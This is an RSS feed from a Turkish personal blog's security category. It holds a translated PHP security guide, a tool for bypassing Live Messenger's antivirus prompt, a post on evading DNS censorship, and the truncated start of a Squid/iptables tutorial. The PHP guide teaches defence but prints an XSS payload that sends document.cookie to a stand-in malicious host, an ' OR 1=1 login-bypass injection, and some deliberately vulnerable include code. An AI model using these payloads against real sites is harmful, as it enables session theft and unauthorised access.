<?xml version="1.0" encoding="utf-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Muzaffer AKYIL (Victorious) &#187; Güvenlik</title> <atom:link href="http://muzaffer.akyil.net/category/makale/guvenlik/feed" rel="self" type="application/rss+xml" /><link>http://muzaffer.akyil.net</link> <description></description> <lastBuildDate>Tue, 08 Mar 2011 09:18:58 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <item><title>QMsnAv &#8211; Live Messenger Virüs Programı Atlatma</title><link>http://muzaffer.akyil.net/2010/04/02/makale/guvenlik/admin/qmsnav-live-messenger-virs-programi-atlatma.aspx</link> <comments>http://muzaffer.akyil.net/2010/04/02/makale/guvenlik/admin/qmsnav-live-messenger-virs-programi-atlatma.aspx#comments</comments> <pubDate>Fri, 02 Apr 2010 19:18:01 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Nasıl Yapılır]]></category> <category><![CDATA[Visual Basic]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[aldatma]]></category> <category><![CDATA[antivirus]]></category> <category><![CDATA[atlatma]]></category> <category><![CDATA[kandırma]]></category> <category><![CDATA[live]]></category> <category><![CDATA[messenger]]></category> <category><![CDATA[onecare]]></category> <category><![CDATA[qmsnav]]></category> <category><![CDATA[virus]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/2010/04/02/makale/guvenlik/admin/qmsnav-live-messenger-virs-programi-atlatma.aspx</guid> <description><![CDATA[Bildiğiniz üzere Microsoft Live Messenger 8.5 versiyonu ile gelen bir yenilik Microsoft OneCare antivirus yazılımı. Live Messenger üzerinden size gönderilen dosyaları kabul ettiğinizde sizden dosyanın kontrolü için OneCare&#8217;ı indirip kurmanızı isteyecektir. Sisteminizde kurulu olan bir virüs programı var ise ve aktif olarak anlık dosya hareketlerini tarıyor ise aynı anda farklı bir virüs programı kurmak saçma [...]]]></description> <content:encoded><![CDATA[<p>Bildiğiniz üzere Microsoft Live Messenger 8.5 versiyonu ile gelen bir yenilik Microsoft OneCare antivirus yazılımı. Live Messenger üzerinden size gönderilen dosyaları kabul ettiğinizde sizden dosyanın kontrolü için OneCare&#8217;ı indirip kurmanızı isteyecektir.</p><p>Sisteminizde kurulu olan bir virüs programı var ise ve aktif olarak anlık dosya hareketlerini tarıyor ise aynı anda farklı bir virüs programı kurmak saçma olduğu gibi gereksiz sistem yorulmasına sebep verir.</p><p> <span id="more-212"></span><p>Live Messenger&#8217;ın bu vb. hata mesajlarından sıkılıp Live Messenger&#8217;ı kandırma yolu olarak ufak bir program yazdım. Böylece Live Messenger&#8217;a ben bu virüs programını kullanıyorum, sende bu programı kullanarak gelen dosyayı kontrol et diyerek kandırıyoruz.</p><h4>Nasıl Yaparım :</h4><ul><li><a href="http://muzaffer.akyil.net/wp-content/uploads/2010/04/QMsnAv.rar" class="lizip">QMsnAv.exe</a> yi indirip istediğiniz bir yere kopyalayın.</li><li>Aşağıdaki ekran görüntüsünde gördüğünüz gibi Live Messenger&#8217;ın Araçlar –&gt; Seçenekler Menüsünden Dosya Aktarımı kısmına girip, &#8220;Dosyalarda virüs taramasında bu uygulamayı kullan&#8221; seçimini işaretleyin.</li><li>Gözat butonu ile <a href="http://muzaffer.akyil.net/wp-content/uploads/2010/04/QMsnAv.rar" class="lizip">QMsnAv.exe</a>&#8216;yi kaydettiğiniz yerden seçin.</li><li>Artık size gönderilen tüm dosyaları QMsnAv.exe ile taramaya çalışacak, QMsnAv ise size dosya transfer işleminin bittiğini ve ilgili dosyayı açmayı isteyip istemediğinizi soracaktır.</li></ul><h4>Güvenli mi ?</h4><ul><li>Programın kaynak kodları <a href="http://muzaffer.akyil.net/wp-content/uploads/2010/04/QMsnAv.txt" target="_blank" class="lipdf">burada</a> verilmiştir. İsteyen Visual Basic 6 ile tekrar derleyip kullanabilir yada geliştirebilir.</li><li>Herhangi bir spy vb. yazılım yada kod içermez.</li><li>Sisteminizde aktif kullanılan bir virüs programı bulunmuyor ise lütfen OneCare&#8217;i kullanın yada benim seçimim <a href="http://www.free-av.com" target="_blank" class="liexternal previewlink">Avira AntiVirus Free Edition</a> yazılımını kullanın.</li><li>Sisteminize gelecek herhangi bir zarardan biz sorumlu değiliz.</li></ul><blockquote><p><font color="#585858" face="Verdana">Live Messenger&#8217;ın reklam, uyarı, sarı bant vb. gibi saçmalıklarından kurtulmak için <a href="http://apatch.org/" target="_blank" class="liexternal previewlink">a-Patch</a> yazılımını kullanabilirsiniz.</font></p></blockquote><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2010/04/qmsnav.jpg" class="liimagelink"><img src="http://muzaffer.akyil.net/wp-content/uploads/2010/04/qmsnav-150x150.jpg" alt="" title="qmsnav" width="150" height="150" class="alignnone size-medium wp-image-219 colorbox-212" /></a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2010%2F04%2F02%2Fmakale%2Fguvenlik%2Fadmin%2Fqmsnav-live-messenger-virs-programi-atlatma.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-212"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=212&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2010/04/02/makale/guvenlik/admin/qmsnav-live-messenger-virs-programi-atlatma.aspx/feed</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Artık &#214;zg&#252;rs&#252;n&#252;z &#8211; A&#231;ıkDNS.com</title><link>http://muzaffer.akyil.net/2010/01/02/makale/guvenlik/admin/artik-zgrsnz-aikdns-com.aspx</link> <comments>http://muzaffer.akyil.net/2010/01/02/makale/guvenlik/admin/artik-zgrsnz-aikdns-com.aspx#comments</comments> <pubDate>Sat, 02 Jan 2010 17:19:26 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Internet]]></category> <category><![CDATA[Network]]></category> <category><![CDATA[açıkdns]]></category> <category><![CDATA[dns]]></category> <category><![CDATA[opendns]]></category> <category><![CDATA[sansür]]></category> <category><![CDATA[yasak]]></category> <category><![CDATA[youtube]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/2010/01/02/makale/guvenlik/admin/artik-zgrsnz-aikdns-com.aspx</guid> <description><![CDATA[Bildiğiniz üzere Türkiye genelinde belirli bir süredir internet üzerinde sansür uygulamaları mevcut. Mahkeme kararı olmaksızın Telekomünikasyon İletişim Başkanlığı’nın kendi keyfi kararları ile engellediği pek çok siteye ulaşabilmek için artık dört takla atmanıza gerek yok. Yabancı bir hizmet olan OpenDNS’in Türkiye merkezli hali yeni yılın ilk günlerinde hizmete başladı. OpenDNS ile yaklaşık olarak aynı işi yapan [...]]]></description> <content:encoded><![CDATA[<p>Bildiğiniz üzere Türkiye genelinde belirli bir süredir internet üzerinde sansür uygulamaları mevcut.</p><p>Mahkeme kararı olmaksızın Telekomünikasyon İletişim Başkanlığı’nın kendi keyfi kararları ile engellediği pek çok siteye ulaşabilmek için artık dört takla atmanıza gerek yok. Yabancı bir hizmet olan <a href="http://www.opendns.com" target="_blank" class="liexternal previewlink">OpenDNS</a>’in Türkiye merkezli hali yeni yılın ilk günlerinde hizmete başladı. <a href="http://www.opendns.com" target="_blank" class="liexternal previewlink">OpenDNS</a> ile yaklaşık olarak aynı işi yapan fakat merkezi Türkiye olduğundan daha hızlı çalışan bu hizmet ile internet sansürlerinden kurtulabileceksiniz.</p><p><span id="more-163"></span><p><strong>Nasıl sansürleniyoruz ?</strong></p><p>T.İ.B. servis sağlayıcı üzerinde bulunan DNS sunucusunda yasaklanması istenen alan adlarını daha önceden hazırlanmış yasak bilgisi bulunan bir ip adresine yönlendirerek sizin o siteye ulaşmanızı engellemektedir. DNS konusunu burada uzunca anlatmak isterdim ama konumuz şu anda DNS değil. DNS kısaca internet üzerinde bize kolaylık sağlayan bir fihristtir. DNS icat edilmeden önce bir web sitesine girmek için onun kimlik numarası olan IP adresini girmemiz gerekiyordu. DNS, alan adlarının hangi ip adreslerine ait olduğunu indexleyen, biz sorduğumuzda bize şu IP adresi diyen bir sistemdir. T.İ.B. bize gerçek ip adresi yerine sahte IP adresi bilgisi vererek o siteye ulaşmamızı engeller.</p><p><strong>AçıkDNS nasıl çalışır ?</strong></p><p><a href="http://www.acikdns.com" target="_blank" class="liexternal previewlink">AçıkDNS</a> kendi sunucularında kurulu olan DNS sunucusu ile dünyanın çeşitli bölgelerinde bulunan Ana DNS Sunucularından (Root DNS) sorgulayarak bize gerçek IP adresleri temin eder. Böylece hiç bir yasağa takılmadan istediğimiz siteye erişebiliriz.</p><p><strong>AçıkDNS Güvenli midir ?</strong></p><p><a href="http://www.acikdns.com" target="_blank" class="liexternal previewlink">AçıkDNS</a>’in sahibi yakın bir arkadaşım. Sitenin ve sistemin yapımında birlikte ter döktük diyebilirim. <a href="http://www.acikdns.com" target="_blank" class="liexternal previewlink">AçıkDNS</a> hiç bir şekilde kayıt tutmamaktadır. Aynı şekilde hiç bir şekilde HiJack diye tabir edilen sahte bilgi gönderimi yapmamaktadır. Yaptığı şey Root DNS’lerde sizin istediğiniz bilgiyi çekip size göndermektir.</p><p><strong>Nasıl Kullanılır ?</strong></p><p>AçıkDNS’e <a href="http://www.acikdns.com" target="_blank" class="liexternal previewlink">http://www.acikdns.com</a> adresinden ulaşabilirsiniz. Sol tarafta göreceğiniz menüden işletim sisteminize uygun olan videoyu izleyerek <a href="http://www.acikdns.com" target="_blank" class="liexternal previewlink">AçıkDNS</a>’i kullanmaya başlayabilirsiniz.&nbsp;</p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2010%2F01%2F02%2Fmakale%2Fguvenlik%2Fadmin%2Fartik-zgrsnz-aikdns-com.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-163"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=163&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2010/01/02/makale/guvenlik/admin/artik-zgrsnz-aikdns-com.aspx/feed</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>PHP Güvenlik Kılavuzu</title><link>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx</link> <comments>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx#comments</comments> <pubDate>Fri, 20 Feb 2009 11:47:27 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[PHP]]></category> <category><![CDATA[arı]]></category> <category><![CDATA[ddos]]></category> <category><![CDATA[injection]]></category> <category><![CDATA[okan]]></category> <category><![CDATA[SQL]]></category><guid isPermaLink="false">http://muzaffer.akyil.net/?p=145</guid> <description><![CDATA[Çok değerli arkadaşım Okan Arı&#8216;nın PHP ve Güvenlik üzerinde derlediği Türkçeye çevirdiği bir metni sizinle paylaşmak istedim. Buyrun bakalım ; Giriş PHP, bir çok yazılım dilinden farklı olarak, buffer-overflows gibi hafıza problemleri olan, bundan dolayı güvenlik problemine neden olabilecek bir dil değildir. Aynı zamanda PHP öğrenilmesi kolay ve hızlı bir dildir. Bu kolay ve hızlı [...]]]></description> <content:encoded><![CDATA[<p>Çok değerli arkadaşım <a href="http://www.okanari.com" target="_blank" class="liexternal previewlink">Okan Arı</a>&#8216;nın PHP ve Güvenlik üzerinde derlediği Türkçeye çevirdiği bir metni sizinle paylaşmak istedim.<br /> <span id="more-145"></span><br /> Buyrun bakalım ;</p><p><strong>Giriş</strong></p><p>PHP, bir çok yazılım dilinden farklı olarak, buffer-overflows gibi hafıza problemleri olan, bundan dolayı güvenlik problemine neden olabilecek bir dil değildir. Aynı zamanda PHP öğrenilmesi kolay ve hızlı bir dildir. Bu kolay ve hızlı öğrenilebilirlik, bu dili bir çok kişinin öğrenmesine, aynı hızda üretim yaparak uygulama geliştirmesine de olanak sağlamaktadır. Ancak bu durum, bilinsizce yapılan kodlama teknikleri nedeniyle kendi içerisince ciddi bir güvenlik problemini yanında getirmektedir.<br /> Bu klavuz size, online güvenlik, web tabanlı yazılım geliştirirken PHP’de temel güvenliği nasıl sağlayacağınız konusunda fikir vermek için hazırlanmıştır. Klavuz içerisinde başlangıç seviyesi kullanıcılar için önemli bilgiler, uzmanlar için belki de gözden kaçan ufak ipuçları bulunabilir.<br /> <strong><br /> Atak Tipleri:</p><p>XSS Atağı:</strong><br /> XSS &#8220;Cross Site Scriptting&#8221; anlamında kullanılmaktadır ve bir sayfaya içerik girmek -JavaScript gibi- gibi düşünebiliriz. XSS atakları genelde kullanıcının Cookie (çerez) lerini çalmak amacıyla kullanılır. Bu cookie’ler kullanıcı login bilgileri, sişreleri ya da benzeri önemli bilgileri içeriyor olabilir.</p><p>Basit anlamda bir örnek verelim.</p><pre class="brush: php; ">

$id=$_GET[&#039;id&#039;];
echo &quot;Gelen ID degeri:&quot;.$id;
</pre><p>Yukarıdaki kodda, $_GET[’id’] degiskeni bir sayı ise problem yok. Ancak ya aşağıdaki gibi bir kodsa?</p><pre class="brush: js; ">

&lt;script&gt;
window.location.href = &quot;http://kotuamaclisite.com/cookie-calanscript.php?c=&#039; + document.cookie;
&lt;/script&gt;
</pre><p>Kullanıcı bir sekilde, bu kotu amaçlı kodu çalıştırırsa, tüm cookie bilgilerini kotü amaçlı siteye devredebilir.</p><p><strong>XSS Ataklarından Nasıl Korunurum?</strong></p><p>İlk olarak, asla kullanıcı girişi bilgilerine güvenmeyiniz. Kullanıcılardan girilen her bilgiyi mutlaka kontrol edip filtrelememiz gerekiyor. Yani gelen kullanıcı bilgilerini HTML tag’lerinden arındırırsak bir JavaScript kodu çalıştırılamak hale getirebiliriz. Bunu yapmanın en kolay yolu PHP’nin strip_tags() fonksiyonunu kullanmaktır. Bu fonksiyon tüm HTML tag’lerini temizleyecektir. HTML tag’lerini silmemek ama onları zararsız hale getirmk için htmlentities() fonksiyonunu da kullananilirsiniz. Bu fonksiyon, < ve > karakterlerini < ve >karakterlerine dönüştürecektir.</p><p><strong>SQL Injection Yönetemi:</strong></p><p>Günümüzde bir çok web sitesi verileri barındırmak için veritabanı kullanmaktadır. Bu bağlamda veritabanına girmek için bir çok INSERT, UPDATE ve SELECT işlemleri yapılmaktadır. Buna rağmen bir çok site, form verileri açısında SQL Injection yöntemi ile atağa uğramak konusunda yeterli güvenliğe sahip değildir.</p><p>SQL Injection, değiştirilmiş, atak için düzenlenmiş form içerikleri ile yapılan veritabanı sorgularıdır. Bu ataklar veritabanınızdan bir kaç veriyi çalmak, izinsiz login olmak, ya da tüm veritabanını silmek gibi sonuçları doğurabilir.</p><p>En genel kullanımı anlatmak için aşağıdaki kod örneğine bakalım:</p><pre class="brush: php; ">

site_users
WHERE
username = &#039;$username&#039;
AND
password = &#039;$password&#039;
&quot;);

if ( mysql_num_rows($result) &gt; 0 )
// login oldu
</pre><p>Yukarıdaki kod örneği, SQL Injection için gerekli ortamı hazırlamaktadır, bu konuda zaafiyet oluştrabilecek bir kod örneğidir. Kötü amaçlı bir kişi yukarıdaki SQL&#8217;i değiştirerek sisteme izinsiz giriş yapabilir. (Kullanıcı şifresini girmeden login olabilir)</p><p>Örneğin kötü kullanıcı (saldırgan) kullanıcı adı alanına &#8220;rob&#8221; şifre (password) alanına aşağıdaki gibi bir giriş yaparsa:</p><p>&#8216; OR 1=1 &#8216;</p><p>Yukarıdaki kod şu şekli alır:</p><pre class="brush: sql; ">

SELECT *
FROM
site_users
WHERE
username = &#039;rob&#039;
AND
password = &quot; OR 1=1
</pre><p>Bu SQL sorgusu ise, kullanıcı adı &#8220;rob&#8221; olan kaydın şifresi ne olursa olsun getirmektedir. Yani şifre kontrolu gerçekleşememiştir.</p><p><strong>SQL Injection Atağından Nasıl Korunurum?</strong></p><p>XSS Atağında olduğu gibi, en büyük sorun kullanıcının gönderdiği veriyi olduğu gibi kullanmaktır. Korunmanın en iyi yöntemi ise, kullancıı verisini riskli karakterlerden arındırmaktır. mysql_real_escape_string() fonksiyonu bu amaçla PHP içerisinde yer alıyor. Bu fonksiyon riskli olan &#8216; ve &#8221; gibi karakterleri temizlemektedir. Ayrıca, SQL sorgularınızda kullandığınız kullancıı verileri, eğer, sayı olmanı bekleniyorsa intval() fonksiyonu ile gelen verinin sadece sayı bilgisi olan kısmı alınmalıdır.</p><p><strong>Dosya Yüklemesi Atağı (File Upload)</strong></p><p>Kullancıların yükledikleri dosyalar en büyük güvenlik risk unsurlarının başında gelmektedir. Bu, tanımadığınzı bilmediğiniz dosyaları sunucunuzda barındırmak anlamındadır. Bu dosyalar, dosyalarınız silmek için, veri tabanınızı boşaltmak için olabilir. Ya da daha başka bir çok güvenlik problemine neden açabilecek dosyalar olabilir.</p><p>Buna rağmen, güvenli şekilde dosya almak kontrol içerisinde alındığında mümkündür.</p><p>Kullanıcıların sisteminize dosya yüklemesine izin verdiğiniz durumlarda, kontrol etmeniz gereken 2 önemli bilgi mevcuttur.</p><p>Birincisi, dosyanın &#8220;mime-type&#8221; ıdır. Yani, dosyanın header’ında bulunan ve dosya tipini belirten bölüm. Örneğin kullanıcının sadece resim dosyası upload etmesini istiyorsanız yüklenen dosyanın &#8220;mime-type&#8221; ı image/png, image/jpeg, image/gif, image/x-png ya da image/p-jpeg olmalıdır. Aşağıdaki kod bu kontrolü gerçekleştirir.</p><pre class="brush: php; ">

$validMimes = array(
&#039;image/png&#039;,
&#039;image/x-png&#039;,
&#039;image/gif&#039;,
&#039;image/jpeg&#039;,
&#039;image/pjpeg&#039;
);

$image = $_FILES[&#039;image&#039;];

if(!in_array($image[&#039;type&#039;], $validMimes)) {
die(&#039;Üzgünüm, izin verilmeyen dosya tipi.&#039;);
}

// İşlem tamam yüklemeyi gerçekletir vs vs.
</pre><p>İkinci kontrol etmeniz gereken bilgi ise, dosyanın uzantısıdır. Zira, mime-type bilgisi manuple edilebilir bir bilgidir. Bu bağlamda dosyanın uzantısını kontrol etmeniz gerekir. Zira bir kullanıcı, bir imaj dosyasının mime-type ı ile bir PHP dosyası gönderebilir. Bu durumda siz bir PHP dosyasını sisteminize almış olursunuz ki bu çok ciddi bir risk faktörüdür.</p><p>Bu durumdan korunmak için, sisteminize yüklediğiniz dosyaların uzantıları, siz tanımlamalısınız. Bu tanımlamayı ise mime-type bilgise göre yapabilirsiniz. Aşağıdaki örneğe bakalım:</p><pre class="brush: php; ">

$validMimes = array(
&#039;image/png&#039; =&gt; &#039;.png&#039;,
&#039;image/x-png&#039; =&gt; &#039;.png&#039;,
&#039;image/gif&#039; =&gt; &#039;.gif&#039;,
&#039;image/jpeg&#039; =&gt; &#039;.jpg&#039;,
&#039;image/pjpeg&#039; =&gt; &#039;.jpg&#039;
);

$image = $_FILES[&#039;image&#039;];

if(!array_key_exists($image[&#039;type&#039;], $validMimes)) {
die(&#039;Üzgünüm, izin verilmeyen dosya tipi.&#039;);
}

// Dosya uzantısını barındırmayan dosya adını alalım:
$filename = substr($image[&#039;name&#039;], 0, strrpos($image[&#039;name&#039;], &#039;.&#039;));

// Mime type göre dogru uzantıyı verelim
$filename .= $validMimes[$image[&#039;type&#039;]];

// İşlem tamam
</pre><p>Yukarıdaki örnekle, bir PHP dosyanının sanki bir resim dosyasıymış gibi sisteminize PHP dosyası olarak yüklenmesini engellediniz. Dosya mime-type’ı PNG’yi işaret ediyorsa, dosya uzantısı .png olacaktır.</p><p><strong>Dosya Include Atağı:</strong></p><p>Kullanımı çok yaygın olan index.php?sayfa=xxxx.php şeklideki dosya include yöntemi çok ciddi risk taşıyabilir. Bu kullanım genelde, menü yapısı, logo gibi bölümleri index.php ye kaydedip içerik bölümünü başka dosyalarda saklayarak site yönetimini kolaylaştırmak için kullanılır. Bu durumdaki yanlışlık,</p><pre class="brush: php; ">

include $_GET[&#039;sayfa&#039;];
</pre><p>gibi bir kod ile gelen değişkene göre sayfayı include etmektendir.</p><p>Yukaridaki kullanımda PHP’nin allow_url_fopen ayarı ON durumda ise, yani aktifse, saldırgan başka bir sunucudaki dosyayı sitenize include edebiliyor demektir. Kodunuz da echo file_get_contents() değil de include kullanıdığı için bu çok sık karşılaşılan bir açığa sebebiyet vermektedir. Bu durum, sunucunuzun tüm kontrolünü saldırgana bırakmak demektir.</p><p>Bu durumdan yapabileceğiniz 2 şey vardır.</p><p>Birincisi, bir liste oluşturup gelen değişkeni burada kontrol etmektir. Örneğin şöyle bir kod ile:</p><pre class="brush: php; ">

switch($_GET[&#039;sayfa&#039;]) {
case &quot;hakkimizda&quot;:
include(&#039;hakkimizda.php&#039;);
break;
case &quot;haberler&quot;:
include(&#039;haberler.php&#039;);
break;
default:
include(&#039;anasayfa.php&#039;);
}
</pre><p>Bu kod ile include edebileceğiniz her sayfayı belirtiyor ve belirtmediğiniz sayfa için anasayfa.php dosyasını include ediyorsunuz. Bu yöntemin zor tarafı, ekleyeceğiniz her sayfayı bu listeye de eklemek zorunluluğudur.</p><p>İkinci bir yöntem ise, dışarodan gelen $_GET['sayfa'] değişkenini kontrol etmek ve temizlemektir.</p><pre class="brush: php; ">

$sayfa = preg_replace(&#039;/\W/si&#039;, &#039;&#039;, $_GET[&#039;sayfa&#039;]);

include(&#039;./&#039;.$sayfa.&#039;.php&#039;);
</pre><p>Yukarıdaki kod, &#8220;..&#8221;, &#8220;/&#8221; gibi karakterleri temizleyerek kullanıcının 212.111.111.111 gibi ip ya da http://www.kotusite.com gibi domain belirtmesini engeller. Bu verileri 212111111111, httpwwwkotusitecom şekline çevirir.</p><p>Dosya include atağındaki diğer bir açık ise, include edilen dosyaların uzantılarını .inc gibi sunucunun tanımayacağı bir uzantı yapmaktır. Örneğin, config.inc gibi bir dosya yapıp bunu include etmek çok sakıncalı olabilir. Zira, saldırgan bu dosyanın adını ve yerini öğrendiğinde, eğer web suncuunuz bu dosyayı çalıştırabilir bir dosya olarak tanımıyorsa (ki tanımama ihtimali yüksektir), saldırdan dosya içeriğini görecektir. Bu durumda yapabileceğiniz, her türlü dosya uzantınızı .php yapmaktır. Boylece saldırgan bu dosyaların içeriğini görüntüleyemez. Diğer bir yöntem ise Apache sunucular için, aşağıdaki gibi bir .htaccess dosyası olusturarak .inc dosyalarının ulaşılmasını engelleyebilirsiniz.</p><pre class="brush: c; ">

&lt;files ~ &quot;\.inc$&quot;&gt;
Order allow,deny
Deny from all
&lt;/files&gt;
</pre><p><strong>Register Globals Atağı:</strong></p><p>register_globals değeri PHP ayarında ON durumda ise, $_POST, $_GET, $_SERVER, $_COOKIE, $_REQUEST, $_FILE ile gelen değişkenlere global değişkenler olarak ulaşabilirsiniz. Yani mesela $_POST[’mesaj’] değişkenine $mesaj olarak ulaşabilirsiniz.</p><p>register_globals değeri güncel PHP kurulumlarında varsayılan olarak OFF durumdadır. Ancak eski bir PHP kurulumu bulunan sunucuda, ya da sistem yönetici tarafından özellikle açılmış bir sunucuda ON durumunda olabilir (ki paylaşımlı hosting firmaları geçmiş müşterilerinin kodlarının uyumu adına açabiliyorlar).</p><p>register_globals’in ON olamsı durumu için aşağıdaki kodu inceleyelim.</p><p>dosya.php dosyası örneği:</p><pre class="brush: php; ">

if($_POST[&#039;username&#039;] == &#039;rob&#039; &amp;&amp; $_POST[&#039;password&#039;] == &#039;foo&#039;) {
$authenticated = true;
}

if($authenticated) {
// giriş başarılı bişeyler yapalım
}
</pre><p>Saldırgan, dosya.php?authenticated=true şeklinde bir URL çağrımı ile, sisteme izinsiz giriş yapabilir.</p><p>Bu durumda ne yapacağız, register_globals değerini OFF yapamayabileceğimiz durumların her zaman gerçekleşebileceğini düşünerek, kodumuzu şu şekilde değiştirelim.</p><pre class="brush: php; ">

$authenticated = false;

if($_POST[&#039;username&#039;] == &#039;rob&#039; &amp;&amp; $_POST[&#039;password&#039;] == &#039;foo&#039;) {
$authenticated = true;
}

if($authenticated) {
// giriş başarılı bişeyler yapalım
}
</pre><p>Bu kod, $authenticated değişkenini sayfa başında false yapmaktadır. $_POST&#8217;tan gelen veri eğer uygunsa $authenticated true yapılır. Böylece, dışarıdan gönderilen değişken ile izinsiz giriş yaplıması engellenmiş olur.</p><p>Derleme ve Çeviri : <a href="http://www.okanari.com" target="_blank" class="liexternal previewlink">Okan ARI</a></p> <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fmuzaffer.akyil.net%2F2009%2F02%2F20%2Fmakale%2Fyazilim%2Fphp%2Fadmin%2Fphp-guvenlik-kilavuzu.aspx&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe><img class="colorbox-145"  src="http://muzaffer.akyil.net/?ak_action=api_record_view&id=145&type=feed" alt="" />]]></content:encoded> <wfw:commentRss>http://muzaffer.akyil.net/2009/02/20/makale/yazilim/php/admin/php-guvenlik-kilavuzu.aspx/feed</wfw:commentRss> <slash:comments>6</slash:comments> </item> <item><title>Linux + Squid + iptables ile Internet Y&#246;netimi</title><link>http://muzaffer.akyil.net/2007/05/31/makale/os/linux/admin/linux-squid-iptables-ile-internet-yonetimi.aspx</link> <comments>http://muzaffer.akyil.net/2007/05/31/makale/os/linux/admin/linux-squid-iptables-ile-internet-yonetimi.aspx#comments</comments> <pubDate>Thu, 31 May 2007 13:31:04 +0000</pubDate> <dc:creator>Muzaffer Ali AKYIL</dc:creator> <category><![CDATA[Güvenlik]]></category> <category><![CDATA[Internet]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Network]]></category> <category><![CDATA[ubuntu]]></category> <category><![CDATA[centos]]></category> <category><![CDATA[engelleme]]></category> <category><![CDATA[firewall]]></category> <category><![CDATA[iptables]]></category> <category><![CDATA[proxy]]></category> <category><![CDATA[squid]]></category><guid isPermaLink="false">http://www.muzafferakyil.com/2007/05/31/makale/linux/ubuntu/admin/linux-squid-iptables-ile-internet-yonetimi.aspx</guid> <description><![CDATA[Şirketlerde birçok IT yöneticisinin başına gelmiştir. Kullanıcıların istenmeyen sitelere girişleri, istenmeyen yazılımlarla download yapmaları ve bunun gibi bir çok mesele. IT yöneticileri bunları izlemek, engellemek, raporlamak için çözümler aramaktadırlar. Bende izlediğim bazı gruplarda bu olayı nasıl yapacaklarını soran bir çok arkadaşa Linux+Squid+iptables 3 lüsünü öneriyorum. Bilinenin aksine Linux işletim sistemleri bundan 5 yıl öncesinde olduğu [...]]]></description> <content:encoded><![CDATA[<p>Şirketlerde birçok IT yöneticisinin başına gelmiştir. Kullanıcıların istenmeyen sitelere girişleri, istenmeyen yazılımlarla download yapmaları ve bunun gibi bir çok mesele. IT yöneticileri bunları izlemek, engellemek, raporlamak için çözümler aramaktadırlar.</p></p><p> <span id="more-84"></span><br /> Bende izlediğim bazı gruplarda bu olayı nasıl yapacaklarını soran bir çok arkadaşa Linux+Squid+iptables 3 lüsünü öneriyorum. Bilinenin aksine Linux işletim sistemleri bundan 5 yıl öncesinde olduğu gibi anlaşılması zor işletim sistemleri değiller artık. Şimdi aşağıdaki yazımda bunların nasıl kurulacağını ve nasıl konfigure edileceğini anlatmaya çalışacağım.</p><p>Öncelikle gereksinimlerimizi yazalım ;</p><ul><li>Herhangi bi Linux Dağıtımı (tercihen CentOS, Ubuntu)</li><li>En az 486 DX2 66 Mhz. işlemcili 64 mb RAM li bir pc.</li><li>CDROM</li><li>2 Ethernet Kartı</li></ul><p>Ben yazımda CentOS kurulu bir Virtual Machine bilgisayar kullanıcam. Bu dağıtımları kendi sitelerinde bulabilirsiniz.</p><blockquote><p>CentOS &#8211; <a href="http://www.centos.org" target="_blank" class="liexternal previewlink">http://www.centos.org</a><br />ubuntu &#8211; <a href="http://www.ubuntu.com" target="_blank" class="liexternal previewlink">http://www.ubuntu.com</a><br />ubuntu Türkiye &#8211; <a href="http://www.ubuntu-tr.com" target="_blank" class="liexternal previewlink">http://www.ubuntu-tr.com</a></p></blockquote><p>CentOS Server linux dağıtımını CDROM&#8217;a takıp pcmizi çalıştırdığımızda karşımıza kurulum ekranı gelicektir.(Resim 1)</p><p>Resim 1 :</p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2007/05/11.JPG" title="1" class="liinternal"><img class="colorbox-84"  alt=1 src="http://muzaffer.akyil.net/wp-content/uploads/2007/05/11.thumbnail.JPG"></a></p><p>Bize ilk sorduğu Medyanın (CDnin) sorunsuz olup olmadığını test edip etmemesidir. CD nin temiz olduğuna eminseniz Skip diyebilirsiniz.</p><p>Kurulumu yapmamıza yardımcı olacak olan kurulum sihirbazı yüklenmesi tamamlandığında karşımıza Resim 2 deki gibi bir ekran gelicektir. Artık kurulumumuza başlayabiliriz.</p><p>Resim 2 :</p><p><a href="http://muzaffer.akyil.net/wp-content/uploads/2007/05/2.JPG" title="2" class="liinternal"><img 